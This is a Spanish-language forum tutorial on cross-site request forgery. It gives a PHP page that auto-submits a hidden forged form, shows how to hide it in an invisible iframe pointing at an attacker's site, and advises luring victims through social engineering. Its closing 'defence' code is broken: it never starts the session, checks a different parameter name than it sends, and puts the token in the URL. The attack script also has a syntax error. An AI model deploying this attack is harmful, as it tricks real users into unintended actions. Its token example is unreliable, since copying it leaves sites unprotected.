Ejemplo de ataque CSRF
Un ataque CSRF/XSRF o Cross site request forgery vendría siendo un exploit o vulnerabilidad la cúal se da en aplicaciones web en la que el usuario víctima realiza ciertas peticiones falsificadas en aplicaciones web vulnerables, la víctima al abrir la CSRF automáticamente lograra ejecutar u/o modificar registros sin su intención.
Para poder llevarse a cabo un ataque CSRF se debe hacer uso de la ingeniería social, con la cúal podamos lograr que el usuario víctima acceda a nuestra página la cúal debe tener el csrf oculto, está se encargara de ejecutar el CSRF sin que el usuario víctima se pueda dar cuenta.
Código vulnerable
Un código vulnerable podría ser el siguiente:
pagina.html :
Código: Seleccionar todo
<form action="process.php" method="POST">
Texto: <input type="text" name="text" /><br><br>
<input type="submit" />
</form>
process.php :
Código: Seleccionar todo
<?php
if(isset($_POST['text']) && !empty($_POST['text'])){
echo "Hola";
}
else{
echo "Error";
}
?>
Preparando nuestro código CSRF de ataque
Pues para preparar el escenario de ataque, el atacante necesita tener conocimientos en la programación web, ya sea PHP, JS u HTML. Aquí les presento una estructura de código en php la cúal he creado especialmente para el formulario anterior vulnerable:
Código: Seleccionar todo
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST" />'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>
?>
Camuflando nuestra CSRF
Existe un método para evitar que nuestro CSRF de ataque se note sospechoso, sería camuflando nuestro código de ataque mediante el uso de HTML u algún otro lenguaje de programación web, tal como JS, jQuery, HTML, o tal vez un simple index en el que camuflamos nuestro código mediante el uso de un <iframe> en html.
Un ejemplo sería el siguiente, en el que camuflamos nuestro CSRF en una index con un iframe:
Código: Seleccionar todo
<html>
<head><title>Bienvenid@</title></head>
<body>
<h1>Bienvenid@ a mi sitio web :)</h1>
<iframe src="http://websitedelatacante.com/csrfoculto.php" width=0% height=0% />
</body>
</html>
Defensa
Para poder defendernos de este tipo de ataques, yo recomiendo hacer uso de algún envío de un token como una sesión en php. Haciendo uso de la función session_start() , el hash md5() u sha1() para la encriptación, uniqid() para un identificador único y rand() para dar un entero aleatorio. Ejemplo:
token.php :
Código: Seleccionar todo
<html>
<head><title>Hola</title></head>
<meta charset="utf-8">
<body>
<?php $_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
echo '</form>';
?>
</body>
</html>
process.php :
Código: Seleccionar todo
<html>
<head>
<title>Proceso</title>
</head>
<body>
<?php
if($_GET["envio_token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
}
else{
echo 'Error';
}
?>
</body>
</html>
Bueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post ;D.
Saludos, M5f3r0 .